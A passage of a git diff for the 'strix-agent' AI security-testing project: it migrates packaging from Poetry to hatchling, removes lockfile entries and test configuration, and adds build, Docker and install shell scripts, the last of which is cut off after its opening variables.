"sha256:812303eb4aa98e302886ccda58d6b099e3576b1b9276161469c25803a8db277d"}, - {file = "yarl-1.20.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:98c4a7d166635147924aa0bf9bfe8d8abad6fffa6102de9c99ea04a1376f91e8"}, - {file = "yarl-1.20.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:12e768f966538e81e6e7550f9086a6236b16e26cd964cf4df35349970f3551cf"}, - {file = "yarl-1.20.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:fe41919b9d899661c5c28a8b4b0acf704510b88f27f0934ac7a7bebdd8938d5e"}, - {file = "yarl-1.20.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:8601bc010d1d7780592f3fc1bdc6c72e2b6466ea34569778422943e1a1f3c389"}, - {file = "yarl-1.20.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:daadbdc1f2a9033a2399c42646fbd46da7992e868a5fe9513860122d7fe7a73f"}, - {file = "yarl-1.20.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:03aa1e041727cb438ca762628109ef1333498b122e4c76dd858d186a37cec845"}, - {file = "yarl-1.20.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:642980ef5e0fa1de5fa96d905c7e00cb2c47cb468bfcac5a18c58e27dbf8d8d1"}, - {file = "yarl-1.20.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:86971e2795584fe8c002356d3b97ef6c61862720eeff03db2a7c86b678d85b3e"}, - {file = "yarl-1.20.1-cp311-cp311-win32.whl", hash = "sha256:597f40615b8d25812f14562699e287f0dcc035d25eb74da72cae043bb884d773"}, - {file = "yarl-1.20.1-cp311-cp311-win_amd64.whl", hash = "sha256:26ef53a9e726e61e9cd1cda6b478f17e350fb5800b4bd1cd9fe81c4d91cfeb2e"}, - {file = "yarl-1.20.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:bdcc4cd244e58593a4379fe60fdee5ac0331f8eb70320a24d591a3be197b94a9"}, - {file = "yarl-1.20.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:b29a2c385a5f5b9c7d9347e5812b6f7ab267193c62d282a540b4fc528c8a9d2a"}, - {file = "yarl-1.20.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1112ae8154186dfe2de4732197f59c05a83dc814849a5ced892b708033f40dc2"}, - {file = "yarl-1.20.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:90bbd29c4fe234233f7fa2b9b121fb63c321830e5d05b45153a2ca68f7d310ee"}, - {file = "yarl-1.20.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:680e19c7ce3710ac4cd964e90dad99bf9b5029372ba0c7cbfcd55e54d90ea819"}, - {file = "yarl-1.20.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4a979218c1fdb4246a05efc2cc23859d47c89af463a90b99b7c56094daf25a16"}, - {file = "yarl-1.20.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:255b468adf57b4a7b65d8aad5b5138dce6a0752c139965711bdcb81bc370e1b6"}, - {file = "yarl-1.20.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a97d67108e79cfe22e2b430d80d7571ae57d19f17cda8bb967057ca8a7bf5bfd"}, - {file = "yarl-1.20.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8570d998db4ddbfb9a590b185a0a33dbf8aafb831d07a5257b4ec9948df9cb0a"}, - {file = "yarl-1.20.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:97c75596019baae7c71ccf1d8cc4738bc08134060d0adfcbe5642f778d1dca38"}, - {file = "yarl-1.20.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:1c48912653e63aef91ff988c5432832692ac5a1d8f0fb8a33091520b5bbe19ef"}, - {file = "yarl-1.20.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:4c3ae28f3ae1563c50f3d37f064ddb1511ecc1d5584e88c6b7c63cf7702a6d5f"}, - {file = "yarl-1.20.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:c5e9642f27036283550f5f57dc6156c51084b458570b9d0d96100c8bebb186a8"}, - {file = "yarl-1.20.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:2c26b0c49220d5799f7b22c6838409ee9bc58ee5c95361a4d7831f03cc225b5a"}, - {file = "yarl-1.20.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:564ab3d517e3d01c408c67f2e5247aad4019dcf1969982aba3974b4093279004"}, - {file = "yarl-1.20.1-cp312-cp312-win32.whl", hash = "sha256:daea0d313868da1cf2fac6b2d3a25c6e3a9e879483244be38c8e6a41f1d876a5"}, - {file = "yarl-1.20.1-cp312-cp312-win_amd64.whl", hash = "sha256:48ea7d7f9be0487339828a4de0360d7ce0efc06524a48e1810f945c45b813698"}, - {file = "yarl-1.20.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:0b5ff0fbb7c9f1b1b5ab53330acbfc5247893069e7716840c8e7d5bb7355038a"}, - {file = "yarl-1.20.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:14f326acd845c2b2e2eb38fb1346c94f7f3b01a4f5c788f8144f9b630bfff9a3"}, - {file = "yarl-1.20.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f60e4ad5db23f0b96e49c018596707c3ae89f5d0bd97f0ad3684bcbad899f1e7"}, - {file = "yarl-1.20.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:49bdd1b8e00ce57e68ba51916e4bb04461746e794e7c4d4bbc42ba2f18297691"}, - {file = "yarl-1.20.1-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:66252d780b45189975abfed839616e8fd2dbacbdc262105ad7742c6ae58f3e31"}, - {file = "yarl-1.20.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:59174e7332f5d153d8f7452a102b103e2e74035ad085f404df2e40e663a22b28"}, - {file = "yarl-1.20.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e3968ec7d92a0c0f9ac34d5ecfd03869ec0cab0697c91a45db3fbbd95fe1b653"}, - {file = "yarl-1.20.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d1a4fbb50e14396ba3d375f68bfe02215d8e7bc3ec49da8341fe3157f59d2ff5"}, - {file = "yarl-1.20.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:11a62c839c3a8eac2410e951301309426f368388ff2f33799052787035793b02"}, - {file = "yarl-1.20.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:041eaa14f73ff5a8986b4388ac6bb43a77f2ea09bf1913df7a35d4646db69e53"}, - {file = "yarl-1.20.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:377fae2fef158e8fd9d60b4c8751387b8d1fb121d3d0b8e9b0be07d1b41e83dc"}, - {file = "yarl-1.20.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:1c92f4390e407513f619d49319023664643d3339bd5e5a56a3bebe01bc67ec04"}, - {file = "yarl-1.20.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:d25ddcf954df1754ab0f86bb696af765c5bfaba39b74095f27eececa049ef9a4"}, - {file = "yarl-1.20.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:909313577e9619dcff8c31a0ea2aa0a2a828341d92673015456b3ae492e7317b"}, - {file = "yarl-1.20.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:793fd0580cb9664548c6b83c63b43c477212c0260891ddf86809e1c06c8b08f1"}, - {file = "yarl-1.20.1-cp313-cp313-win32.whl", hash = "sha256:468f6e40285de5a5b3c44981ca3a319a4b208ccc07d526b20b12aeedcfa654b7"}, - {file = "yarl-1.20.1-cp313-cp313-win_amd64.whl", hash = "sha256:495b4ef2fea40596bfc0affe3837411d6aa3371abcf31aac0ccc4bdd64d4ef5c"}, - {file = "yarl-1.20.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:f60233b98423aab21d249a30eb27c389c14929f47be8430efa7dbd91493a729d"}, - {file = "yarl-1.20.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:6f3eff4cc3f03d650d8755c6eefc844edde99d641d0dcf4da3ab27141a5f8ddf"}, - {file = "yarl-1.20.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:69ff8439d8ba832d6bed88af2c2b3445977eba9a4588b787b32945871c2444e3"}, - {file = "yarl-1.20.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3cf34efa60eb81dd2645a2e13e00bb98b76c35ab5061a3989c7a70f78c85006d"}, - {file = "yarl-1.20.1-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:8e0fe9364ad0fddab2688ce72cb7a8e61ea42eff3c7caeeb83874a5d479c896c"}, - {file = "yarl-1.20.1-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8f64fbf81878ba914562c672024089e3401974a39767747691c65080a67b18c1"}, - {file = "yarl-1.20.1-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f6342d643bf9a1de97e512e45e4b9560a043347e779a173250824f8b254bd5ce"}, - {file = "yarl-1.20.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:56dac5f452ed25eef0f6e3c6a066c6ab68971d96a9fb441791cad0efba6140d3"}, - {file = "yarl-1.20.1-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7d7f497126d65e2cad8dc5f97d34c27b19199b6414a40cb36b52f41b79014be"}, - {file = "yarl-1.20.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:67e708dfb8e78d8a19169818eeb5c7a80717562de9051bf2413aca8e3696bf16"}, - {file = "yarl-1.20.1-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:595c07bc79af2494365cc96ddeb772f76272364ef7c80fb892ef9d0649586513"}, - {file = "yarl-1.20.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:7bdd2f80f4a7df852ab9ab49484a4dee8030023aa536df41f2d922fd57bf023f"}, - {file = "yarl-1.20.1-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:c03bfebc4ae8d862f853a9757199677ab74ec25424d0ebd68a0027e9c639a390"}, - {file = "yarl-1.20.1-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:344d1103e9c1523f32a5ed704d576172d2cabed3122ea90b1d4e11fe17c66458"}, - {file = "yarl-1.20.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:88cab98aa4e13e1ade8c141daeedd300a4603b7132819c484841bb7af3edce9e"}, - {file = "yarl-1.20.1-cp313-cp313t-win32.whl", hash = "sha256:b121ff6a7cbd4abc28985b6028235491941b9fe8fe226e6fdc539c977ea1739d"}, - {file = "yarl-1.20.1-cp313-cp313t-win_amd64.whl", hash = "sha256:541d050a355bbbc27e55d906bc91cb6fe42f96c01413dd0f4ed5a5240513874f"}, - {file = "yarl-1.20.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:e42ba79e2efb6845ebab49c7bf20306c4edf74a0b20fc6b2ccdd1a219d12fad3"}, - {file = "yarl-1.20.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:41493b9b7c312ac448b7f0a42a089dffe1d6e6e981a2d76205801a023ed26a2b"}, - {file = "yarl-1.20.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f5a5928ff5eb13408c62a968ac90d43f8322fd56d87008b8f9dabf3c0f6ee983"}, - {file = "yarl-1.20.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:30c41ad5d717b3961b2dd785593b67d386b73feca30522048d37298fee981805"}, - {file = "yarl-1.20.1-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:59febc3969b0781682b469d4aca1a5cab7505a4f7b85acf6db01fa500fa3f6ba"}, - {file = "yarl-1.20.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d2b6fb3622b7e5bf7a6e5b679a69326b4279e805ed1699d749739a61d242449e"}, - {file = "yarl-1.20.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:749d73611db8d26a6281086f859ea7ec08f9c4c56cec864e52028c8b328db723"}, - {file = "yarl-1.20.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9427925776096e664c39e131447aa20ec738bdd77c049c48ea5200db2237e000"}, - {file = "yarl-1.20.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ff70f32aa316393eaf8222d518ce9118148eddb8a53073c2403863b41033eed5"}, - {file = "yarl-1.20.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:c7ddf7a09f38667aea38801da8b8d6bfe81df767d9dfc8c88eb45827b195cd1c"}, - {file = "yarl-1.20.1-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:57edc88517d7fc62b174fcfb2e939fbc486a68315d648d7e74d07fac42cec240"}, - {file = "yarl-1.20.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:dab096ce479d5894d62c26ff4f699ec9072269d514b4edd630a393223f45a0ee"}, - {file = "yarl-1.20.1-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:14a85f3bd2d7bb255be7183e5d7d6e70add151a98edf56a770d6140f5d5f4010"}, - {file = "yarl-1.20.1-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:2c89b5c792685dd9cd3fa9761c1b9f46fc240c2a3265483acc1565769996a3f8"}, - {file = "yarl-1.20.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:69e9b141de5511021942a6866990aea6d111c9042235de90e08f94cf972ca03d"}, - {file = "yarl-1.20.1-cp39-cp39-win32.whl", hash = "sha256:b5f307337819cdfdbb40193cad84978a029f847b0a357fbe49f712063cfc4f06"}, - {file = "yarl-1.20.1-cp39-cp39-win_amd64.whl", hash = "sha256:eae7bfe2069f9c1c5b05fc7fe5d612e5bbc089a39309904ee8b829e322dcad00"}, - {file = "yarl-1.20.1-py3-none-any.whl", hash = "sha256:83b8eb083fe4683c6115795d9fc1cfaf2cbbefb19b3a1cb68f6527460f483a77"}, - {file = "yarl-1.20.1.tar.gz", hash = "sha256:d017a4997ee50c91fd5466cef416231bb82177b93b029906cefc542ce14c35ac"}, -] - -[package.dependencies] -idna = ">=2.0" -multidict = ">=4.0" -propcache = ">=0.2.1" - -[[package]] -name = "youtube-transcript-api" -version = "0.6.2" -description = "This is an python API which allows you to get the transcripts/subtitles for a given YouTube video. It also works for automatically generated subtitles, supports translating subtitles and it does not require a headless browser, like other selenium based solutions do!" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "youtube_transcript_api-0.6.2-py3-none-any.whl", hash = "sha256:019dbf265c6a68a0591c513fff25ed5a116ce6525832aefdfb34d4df5567121c"}, - {file = "youtube_transcript_api-0.6.2.tar.gz", hash = "sha256:cad223d7620633cec44f657646bffc8bbc5598bd8e70b1ad2fa8277dec305eb7"}, -] - -[package.dependencies] -requests = "*" - -[[package]] -name = "zipp" -version = "3.23.0" -description = "Backport of pathlib-compatible object wrapper for zip files" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "zipp-3.23.0-py3-none-any.whl", hash = "sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e"}, - {file = "zipp-3.23.0.tar.gz", hash = "sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166"}, -] - -[package.extras] -check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1)"] -cover = ["pytest-cov"] -doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -enabler = ["pytest-enabler (>=2.2)"] -test = ["big-O", "jaraco.functools", "jaraco.itertools", "jaraco.test", "more_itertools", "pytest (>=6,!=8.1.*)", "pytest-ignore-flaky"] -type = ["pytest-mypy"] - -[metadata] -lock-version = "2.1" -python-versions = "^3.12" -content-hash = "965f789de999d129c5dbc0bff2939c675e50507f521e54c71d2e00500bc4c247" diff --git a/pyproject.toml b/pyproject.toml index 63c279147..4485d7793 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,10 +1,13 @@ -[tool.poetry] +[project] name = "strix-agent" -version = "0.1.8" +version = "1.0.4" description = "Open-source AI Hackers for your apps" -authors = ["Strix "] readme = "README.md" license = "Apache-2.0" +requires-python = ">=3.12" +authors = [ + { name = "Strix", email = "hi@usestrix.com" }, +] keywords = [ "cybersecurity", "security", @@ -26,62 +29,45 @@ classifiers = [ "Programming Language :: Python :: 3", "Programming Language :: Python :: 3 :: Only", "Programming Language :: Python :: 3.12", + "Programming Language :: Python :: 3.13", + "Programming Language :: Python :: 3.14", ] -packages = [ - { include = "strix" } -] -include = [ - "LICENSE", - "README.md", - "strix/**/*.jinja", - "strix/**/*.xml", - "strix/**/*.tcss" +dependencies = [ + "openai-agents[litellm]==0.14.6", + "pydantic>=2.11.3", + "pydantic-settings>=2.13.0", + "rich", + "docker>=7.1.0", + "textual>=6.0.0", + "requests>=2.32.0", + "cvss>=3.2", + "caido-sdk-client>=0.2.0", ] -[tool.poetry.scripts] -strix = "strix.cli.main:main" - -[tool.poetry.dependencies] -python = "^3.12" -fastapi = "*" -uvicorn = "*" -litellm = {extras = ["proxy"], version = "^1.75.5.post1"} -tenacity = "^9.0.0" -numpydoc = "^1.8.0" -pydantic = {extras = ["email"], version = "^2.11.3"} -ipython = "^9.3.0" -openhands-aci = "^0.3.0" -playwright = "^1.48.0" -rich = "*" -docker = "^7.1.0" -gql = {extras = ["requests"], version = "^3.5.3"} -textual = "^4.0.0" -xmltodict = "^0.13.0" -pyte = "^0.8.1" -requests = "^2.32.0" - -[tool.poetry.group.dev.dependencies] -# Type checking and static analysis -mypy = "^1.16.0" -ruff = "^0.11.13" -pyright = "^1.1.401" -pylint = "^3.3.7" -bandit = "^1.8.3" +[project.scripts] +strix = "strix.interface.main:main" -# Testing -pytest = "^8.4.0" -pytest-asyncio = "^1.0.0" -pytest-cov = "^6.1.1" -pytest-mock = "^3.14.1" +[dependency-groups] +dev = [ + "mypy>=1.16.0", + "ruff>=0.11.13", + "pyright>=1.1.401", + "bandit>=1.8.3", + "pre-commit>=4.2.0", + "pyinstaller>=6.17.0; python_version >= '3.12' and python_version < '3.15'", + "pytest>=8.3", + "pytest-asyncio>=0.24", +] -# Development tools -pre-commit = "^4.2.0" -black = "^25.1.0" -isort = "^6.0.1" +[tool.pytest.ini_options] +asyncio_mode = "auto" [build-system] -requires = ["poetry-core"] -build-backend = "poetry.core.masonry.api" +requires = ["hatchling"] +build-backend = "hatchling.build" + +[tool.hatch.build.targets.wheel] +packages = ["strix"] # ============================================================================ # Type Checking Configuration @@ -112,22 +98,20 @@ pretty = true [[tool.mypy.overrides]] module = [ "litellm.*", - "tenacity.*", - "numpydoc.*", "rich.*", - "IPython.*", - "openhands_aci.*", - "playwright.*", - "uvicorn.*", "jinja2.*", - "pydantic_settings.*", - "jwt.*", - "httpx.*", - "gql.*", "textual.*", - "pyte.*", + "cvss.*", + "docker.*", + "caido_sdk_client.*", + "pydantic_settings.*", ] ignore_missing_imports = true +disable_error_code = ["import-untyped"] + +[[tool.mypy.overrides]] +module = ["tests.*"] +disallow_untyped_decorators = false # ============================================================================ # Ruff Configuration (Fast Python Linter & Formatter) @@ -139,7 +123,6 @@ line-length = 100 extend-exclude = [ ".git", ".mypy_cache", - ".pytest_cache", ".ruff_cache", "__pycache__", "build", @@ -175,7 +158,6 @@ select = [ "PIE", # flake8-pie "T20", # flake8-print "PYI", # flake8-pyi - "PT", # flake8-pytest-style "Q", # flake8-quotes "RSE", # flake8-raise "RET", # flake8-return @@ -213,21 +195,56 @@ ignore = [ ] [tool.ruff.lint.per-file-ignores] -"tests/**/*.py" = [ - "S106", # Possible hardcoded password - "S108", # Possible insecure usage of temporary file/directory - "ARG001", # Unused function argument - "PLR2004", # Magic value used in comparison -] +# Lazy imports inside functions to avoid circular dependency with +# strix.telemetry / strix.report.dedupe / cvss. +"strix/tools/notes/tools.py" = ["PLC0415", "TC002"] +"strix/tools/finish/tool.py" = ["PLC0415", "TC002"] +"strix/tools/reporting/tool.py" = ["PLC0415", "TC002"] "strix/tools/**/*.py" = [ "ARG001", # Unused function argument (tools may have unused args for interface consistency) ] +# Custom Docker subclass duplicates parent body; some imports are for annotations. +# Backend factories import their backend's deps lazily so deployments +# that pick a different backend don't need every backend's libs installed. +"strix/runtime/backends.py" = ["PLC0415"] +"strix/runtime/docker_client.py" = [ + "TC002", # Manifest, Container imported for annotations + "TC003", # uuid imported for annotation +] +# SDK function-tool wrappers: the SDK calls get_type_hints() at registration +# time to derive the JSON schema, which evaluates annotations at runtime — +# so RunContextWrapper / Tool / TResponseInputItem must be imported eagerly, +# not under TYPE_CHECKING. +"strix/tools/todo/tools.py" = ["TC002"] +"strix/tools/thinking/tool.py" = ["TC002"] +"strix/tools/web_search/tool.py" = ["TC002"] +"strix/tools/proxy/tools.py" = ["TC002", "PLR0911"] +"strix/tools/agents_graph/tools.py" = ["TC002"] +"strix/agents/factory.py" = ["TC002"] +# Entry point: ``Path`` is used at runtime by the typing of the +# session_manager call; importing under TYPE_CHECKING would defer +# resolution past where mypy needs it. +"strix/core/runner.py" = ["TC003", "PLR0912", "PLR0915", "PLC0415"] +# ReportState carries scan artifact/report fields and +# a runtime ``Callable`` annotation on ``vulnerability_found_callback``. +"strix/report/state.py" = ["TC003", "PLR0912", "PLR0915", "E501", "PERF401"] +"strix/report/usage.py" = ["PLC0415"] +"strix/config/models.py" = ["PLC0415"] +# Interface utility branches per scope-mode / target-type combination; +# splitting would obscure the decision tree without simplifying it. +"strix/interface/utils.py" = ["PLR0912", "BLE001", "PLC0415"] +# CLI / TUI / main keep extensive lazy imports + broad exception +# swallows for resilience around terminal-rendering errors. +"strix/interface/cli.py" = ["BLE001", "PLC0415"] +"strix/interface/tui/app.py" = ["BLE001", "PLC0415", "PLR0912", "PLR0915", "SIM105"] +"strix/interface/main.py" = ["BLE001", "PLC0415", "PLR0912", "PLR0915"] +"strix/interface/tui/renderers/agent_message_renderer.py" = ["PLC0415"] [tool.ruff.lint.isort] force-single-line = false lines-after-imports = 2 known-first-party = ["strix"] -known-third-party = ["fastapi", "pydantic"] +known-third-party = ["pydantic"] [tool.ruff.lint.pylint] max-args = 8 @@ -303,56 +320,13 @@ force_grid_wrap = 0 use_parentheses = true ensure_newline_before_comments = true known_first_party = ["strix"] -known_third_party = ["fastapi", "pydantic", "litellm", "tenacity"] - -# ============================================================================ -# Pytest Configuration -# ============================================================================ - -[tool.pytest.ini_options] -minversion = "6.0" -addopts = [ - "--strict-markers", - "--strict-config", - "--cov=strix", - "--cov-report=term-missing", - "--cov-report=html", - "--cov-report=xml", - "--cov-fail-under=80" -] -testpaths = ["tests"] -python_files = ["test_*.py", "*_test.py"] -python_functions = ["test_*"] -python_classes = ["Test*"] -asyncio_mode = "auto" - -[tool.coverage.run] -source = ["strix"] -omit = [ - "*/tests/*", - "*/migrations/*", - "*/__pycache__/*" -] - -[tool.coverage.report] -exclude_lines = [ - "pragma: no cover", - "def __repr__", - "if self.debug:", - "if settings.DEBUG", - "raise AssertionError", - "raise NotImplementedError", - "if 0:", - "if __name__ == .__main__.:", - "class .*\\bProtocol\\):", - "@(abc\\.)?abstractmethod", -] +known_third_party = ["pydantic", "litellm"] # ============================================================================ # Bandit Configuration (Security Linting) # ============================================================================ [tool.bandit] -exclude_dirs = ["tests", "docs", "build", "dist"] +exclude_dirs = ["docs", "build", "dist"] skips = ["B101", "B601", "B404", "B603", "B607"] # Skip assert, shell injection, subprocess import and partial path checks severity = "medium" diff --git a/scripts/build.sh b/scripts/build.sh new file mode 100755 index 000000000..66fd066fd --- /dev/null +++ b/scripts/build.sh @@ -0,0 +1,98 @@ +#!/bin/bash +set -e + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +PROJECT_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)" + +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +BLUE='\033[0;34m' +NC='\033[0m' # No Color + +echo -e "${BLUE}🦉 Strix Build Script${NC}" +echo "================================" + +OS="$(uname -s)" +ARCH="$(uname -m)" + +case "$OS" in + Linux*) OS_NAME="linux";; + Darwin*) OS_NAME="macos";; + MINGW*|MSYS*|CYGWIN*) OS_NAME="windows";; + *) OS_NAME="unknown";; +esac + +case "$ARCH" in + x86_64|amd64) ARCH_NAME="x86_64";; + arm64|aarch64) ARCH_NAME="arm64";; + *) ARCH_NAME="$ARCH";; +esac + +echo -e "${YELLOW}Platform:${NC} $OS_NAME-$ARCH_NAME" + +cd "$PROJECT_ROOT" + +if ! command -v uv &> /dev/null; then + echo -e "${RED}Error: uv is not installed${NC}" + echo "Please install uv first: https://docs.astral.sh/uv/getting-started/installation/" + exit 1 +fi + +echo -e "\n${BLUE}Installing dependencies...${NC}" +uv sync --frozen + +VERSION=$(grep '^version' pyproject.toml | head -1 | sed 's/.*"\(.*\)"/\1/') +echo -e "${YELLOW}Version:${NC} $VERSION" + +echo -e "\n${BLUE}Cleaning previous builds...${NC}" +rm -rf build/ dist/ + +echo -e "\n${BLUE}Building binary with PyInstaller...${NC}" +uv run pyinstaller strix.spec --noconfirm + +RELEASE_DIR="dist/release" +mkdir -p "$RELEASE_DIR" + +BINARY_NAME="strix-${VERSION}-${OS_NAME}-${ARCH_NAME}" + +if [ "$OS_NAME" = "windows" ]; then + if [ ! -f "dist/strix.exe" ]; then + echo -e "${RED}Build failed: Binary not found${NC}" + exit 1 + fi + BINARY_NAME="${BINARY_NAME}.exe" + cp "dist/strix.exe" "$RELEASE_DIR/$BINARY_NAME" + echo -e "\n${BLUE}Creating zip...${NC}" + ARCHIVE_NAME="${BINARY_NAME%.exe}.zip" + + if command -v 7z &> /dev/null; then + 7z a "$RELEASE_DIR/$ARCHIVE_NAME" "$RELEASE_DIR/$BINARY_NAME" + else + powershell -Command "Compress-Archive -Path '$RELEASE_DIR/$BINARY_NAME' -DestinationPath '$RELEASE_DIR/$ARCHIVE_NAME'" + fi + echo -e "${GREEN}Created:${NC} $RELEASE_DIR/$ARCHIVE_NAME" +else + if [ ! -f "dist/strix" ]; then + echo -e "${RED}Build failed: Binary not found${NC}" + exit 1 + fi + cp "dist/strix" "$RELEASE_DIR/$BINARY_NAME" + chmod +x "$RELEASE_DIR/$BINARY_NAME" + echo -e "\n${BLUE}Creating tarball...${NC}" + ARCHIVE_NAME="${BINARY_NAME}.tar.gz" + tar -czvf "$RELEASE_DIR/$ARCHIVE_NAME" -C "$RELEASE_DIR" "$BINARY_NAME" + echo -e "${GREEN}Created:${NC} $RELEASE_DIR/$ARCHIVE_NAME" +fi + +echo -e "\n${GREEN}Build successful!${NC}" +echo "================================" +echo -e "${YELLOW}Binary:${NC} $RELEASE_DIR/$BINARY_NAME" + +SIZE=$(ls -lh "$RELEASE_DIR/$BINARY_NAME" | awk '{print $5}') +echo -e "${YELLOW}Size:${NC} $SIZE" + +echo -e "\n${BLUE}Testing binary...${NC}" +"$RELEASE_DIR/$BINARY_NAME" --help > /dev/null 2>&1 && echo -e "${GREEN}Binary test passed!${NC}" || echo -e "${RED}Binary test failed${NC}" + +echo -e "\n${GREEN}Done!${NC}" diff --git a/scripts/docker.sh b/scripts/docker.sh new file mode 100755 index 000000000..088c48223 --- /dev/null +++ b/scripts/docker.sh @@ -0,0 +1,16 @@ +#!/bin/bash +set -e + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +PROJECT_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)" + +IMAGE="strix-sandbox" +TAG="${1:-dev}" + +echo "Building $IMAGE:$TAG ..." +docker build \ + -f "$PROJECT_ROOT/containers/Dockerfile" \ + -t "$IMAGE:$TAG" \ + "$PROJECT_ROOT" + +echo "Done: $IMAGE:$TAG" diff --git a/scripts/install.sh b/scripts/install.sh new file mode 100755 index 000000000..d45c325f2 --- /dev/null +++ b/scripts/install.sh @@ -0,0 +1,351 @@ +#!/usr/bin/env bash + +set -euo pipefail + +APP=strix +REPO="usestrix/strix" +STRIX_IMAGE="ghcr.io/usestrix/strix-sandbox:1.0.0" + +MUTED='\033[0;2m' +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +CYAN='\033[0;36m' +NC='\033[0m' + +requested_version=${VERSION:-} 